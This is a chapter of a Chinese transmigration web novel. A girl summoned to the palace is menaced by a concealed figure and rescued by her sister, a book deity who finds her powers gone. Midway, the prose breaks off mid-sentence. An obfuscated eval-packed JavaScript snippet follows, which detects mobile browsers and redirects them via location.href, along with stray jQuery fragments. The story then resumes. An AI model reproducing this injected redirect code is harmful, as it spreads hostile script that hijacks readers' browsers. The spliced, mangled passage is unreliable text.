渡云今 作品

16. 召见

    戚惜感到困惑,追至门前,问道:“这里是什么地方?太皇太后娘娘呢?”


    然而门外并无回应,戚惜直觉不对,但她推不开门,又用力拍打了几下,提高声音呼喊道:“外头有没有人?”


    可是门外静悄悄的,连脚步声也不可闻。


    戚惜摸不清宫里的意图,但她孤身一人进宫,若是下落不明,传出去总是不好听的。


    就在她心急如焚时,身后突然遥遥传来冷肃中带着一丝喑哑的声音:“你就是戚家姑娘?”


    戚惜警惕回首,就见殿深处摆着一张宽阔床榻,被自上而下的纱帘笼罩。帘中有一人影端坐在榻上,身姿挺立如松,散发着幽静冷凝的气息。


    她原本以为是皇后娘娘,可看她的身段与坐姿不像有身子的人,周围也无人服侍。戚惜眸光微动,向殿内缓行了几步,小心问道:“你是何人?”


    “放肆!”殿内响起一声厉喝,让戚惜浑身一颤,心里猝然一跳,低下头去。


    殿内沉寂须臾,帘帐内幽幽传来喑哑低沉的诘问:“你见到寡人不行礼,问你话怎敢不答?戚家就是这样教你规矩的。”


    戚惜屈膝行了一个大礼,虽然她仍旧不明白此人是谁,为何在这里,但宫里的贵人她是得罪不起的。


    “是小女愚钝。请大人恕罪。”


    戚惜跪坐在地,弓腰双手压在额下,等候片刻也未听见回应,渐渐双腿发麻。


    半晌,帘帐内响起:“过来,让我看看你。”


    戚惜徐徐放下手,刚要起身,就听见帘后沙哑的声音道:“我让你起来了吗?”


    戚惜垂下头,忍着心中的委屈跪在地上一点点向前挪移,靠近帘帐时,帐内伸出一截小臂掐住她的下巴将她的头抬了起来。


    戚惜抬起一双浸着水雾的双眸,双眉蹙起,眼眶微微发红,像是一只受惊的兔子。


    帘帐的缝隙内是一袭暗红色绣金线华服,端庄又绚烂。红唇抿成了一条冷肃的线,似乎对所见并不满意。红唇转而勾起锋利的弧度,冷哼一声:“果真生的一副好皮囊。


    “你家里还有别的姊妹吗?”


    就在戚惜犹豫时,掐着她下巴的手微微用力,迫她的头仰得更高。


    戚惜咽了咽喉咙,点点头:“我还有一个阿姊。”


    “她叫什么名字?”


    戚惜不敢怠慢,答道:“戚悦。悦是心悦的悦。”


    帘中人得了回答,手上一用力,便像丢弃秽物一般将戚惜仍了出去。


    戚惜扑倒在地,撞翻了一侧的莲花烛台,清脆的落地声在空旷的殿内回荡。


    散乱的发丝掩盖了她的双眼,她低垂着头咬紧嘴唇,浑身发颤,眼眶涌上了湿润。


    帘中人慢慢悠悠地换了个姿势,侧身躺倒在塌上,姿势慵懒随意,连声音也染上了一丝旖旎:“寡人对你喜欢得紧,我身边正缺个称心的女侍,不如你就留在宫中服侍我吧。”


    臣子的女儿如何能入宫做女侍?戚惜身上寒意渐起,她立刻转身跪拜在她身前,头低得深了,上半身几乎匍匐在地:“回大人,家中,家中父母挂念,临走时让我早些回去。”


    “是吗?”帘中人翻了个身,舒展曼妙的身体,用毫不在意的语气道:“那又与我何干呢?”


    戚惜抬起头,眼中的雾气还悬在眼眶,但眼神却变得坚硬:“我奉太皇太后之命前来,这里是何处?太皇太后娘娘何在?”


    帘中人影撑起上身,转首望向她:“太皇太后相邀,自然是好事,你且放宽心留在这里。”


    戚惜心中一惊,趁她不注意,起身奔向房门,用力地敲打门扉,喊道:“有人吗?有人吗?我是戚学士的女儿!你们凭什么把我关在这里!放我出去!”


    帘中人坐直了身体,幽幽劝道:“妹妹,我若是你,便保留力气,好好讨我欢心。”


    戚惜转身面对她,后背紧紧靠着门框,浑身止不住地发颤:“你到底是何人?”


    帘中人却不答,只道:“过来。”语气坚硬,不容人质疑。


    戚惜分毫未动。


    “寡人让你过来。”


    声音愈发冷硬,带着难以阻挡的压迫,好像一座山压在了戚惜的肩上。


    戚惜缓缓挪动脚尖,每向前一步,就感觉呼吸愈加急促一分。


    就在她前行三步之后,身后突然传来撞击与碎裂声。


    戚惜睁大了眼睛侧头望去,迸射的木屑从眼前飘过,只见一与她身型相仿之人撞破木门闯了进来,翻飞的白色衣裳如鸿鹄展翅。


    “阿......阿姊......”


    江焕腾空而出,细细打量了一眼戚惜,见她面色惨白,眼眶通红,不由蹙起眉沉声问道:”惜儿,你怎么了?”


    戚惜看到阿姊的瞬间,忽而心上一松,唇角沾着委屈,眼泪如断了线的珠帘淌了下来,指着殿深处:“她......”


    江焕不知她指的是谁,却知道戚惜一定是受人欺负,气势汹汹地走进殿内,一把将帘帐扯下。


    可是帘帐内空无一物。


    江焕绕过床榻,背后是一扇山水屏风,屏风后门窗紧锁,没有任何痕迹。


    江焕绕回殿内,问:“刚才在这里的是什么人?”


    戚惜摇了摇头,小声啜泣道:“我......我也不知,她一直待在帘子里,我没有看见她的脸,她的声音很低,分辨不出是男是女。”


    江焕目光沉沉,垂眸瞥了一眼床榻上纷乱的痕迹,抬眼问:“她对你做了什么?”


    戚惜道:“她把我关在这里,问我家里的事,说要让我留下服侍她。”


    江焕眼中划过一丝凝色,原书到这里,应当是圣上察觉百里珩与戚惜的感情,于是将戚惜诓骗进宫数日,让百里珩误以为戚惜与圣上发生了什么。为了不让两人产生误会,江焕将计就计,躲在马车下方的隔层里,一路潜入宫中,以待时机将戚惜救走。


    这么说,刚才那人应当是百里奕的手下?可是他这时不是应当安置好戚惜,找个理由将她留


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407098|167747||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    下,以便刺激百里珩吗?对她严刑拷打算什么?


    江焕想不明白,先将戚惜带出房间,绕过后花园的小径,假山后忽然响起的错杂的脚步声。


    有人往这里来了。


    不能让宫里人发现戚惜不见了,回到戚府约莫需要半个时辰,若是他们在路上将戚惜追回,不仅她刚才做的前功尽弃,连整个戚府都要遭殃。最好能骗过百里奕的眼线,让他以为戚惜尚在宫中。


    江焕领着戚惜行到偏僻无人处,给她指了一个方向:“你沿着这条路向外走,玉芝和蒙尉在内门等你,你上了马车后直接回府,不要有任何停留。宫里发生的事,也不要跟任何人提起,爹娘若是问起,就说太皇太后娘娘今日身体不适,提前打发你回去了。”


    戚惜惊魂未定,听出了阿姊话中的意思,一把攥住她的手:“阿姊,你要做什么?我们一起走。”


    江焕抽出手:“我还有事要做,不要担心,也不要跟任何人提起在宫里见到了我。我很快回去。”


    说完,江焕匆匆回到了刚才戚惜待过的房间,将被她撞坏的门轻轻阖上。


    片刻之后,门外响起细碎的脚步声,像是有人攀着窗框向内偷看。


    此时的江焕,也就是戚惜的阿姊戚悦,眉眼与戚惜长的有七八分像,在殿内昏暗的光线下根本分辨不出真假。


    江焕假意坐在塌上,幽幽挺起身体,向窗户的方向瞥了一眼,让自己的侧脸暴露在视线之下。


    随着视线稍稍挪开,江焕松了一口气。


    天色渐晚,暮色透过窗棂,将横斜的树影悄悄绘在墙角,再染上橘红色的暖意。


    天边尚且透着一缕亮色,但另一端月亮已从云端探出头。江焕躺在床上百无聊赖,估摸着过去了大半个时辰,戚惜应当已经回到家中,于是优哉游哉地坐起身,盘了一个莲花坐,双手掐了一个诀,将体内隐藏的力量释放出来。


    她缓缓睁开眼,见四周并无异样,自己纹丝不动,又重复了一边方才的动作。


    可是依旧没有变化。


    江焕“嘶”了一声,心跳快了几下,再试还是无用。


    她猛地站起身,在屋内踱步,对自己的灵力为何使不出来没有半点头绪。


    神官穿书是降维打击,难道为了保证不同维度的公平性,在书里是禁止使用灵力的?


    她可是掌管书籍的神官,如果真有这样的规矩,她怎么会不知道?


    不对,不对,一定是哪里出了问题。


    江焕又换了一个手势,却发现自己连中书君都召唤不出了。


    她原本想着等夜深人静时使个法术出宫,但她现在不知为何灵力尽失,应当如何逃出去?若是被宫里人撞见可就麻烦了。


    正在江焕纠结时,一个人影从墙角悄然逼近。


    窗扇撬开了一条缝隙,窗外之人眼珠一动将室内的景物尽收眼底。他悄悄跃进窗内,将窗轻轻阖上。


    一抬眼,两人对上视线,几乎异口同声道:“你怎么在这里?”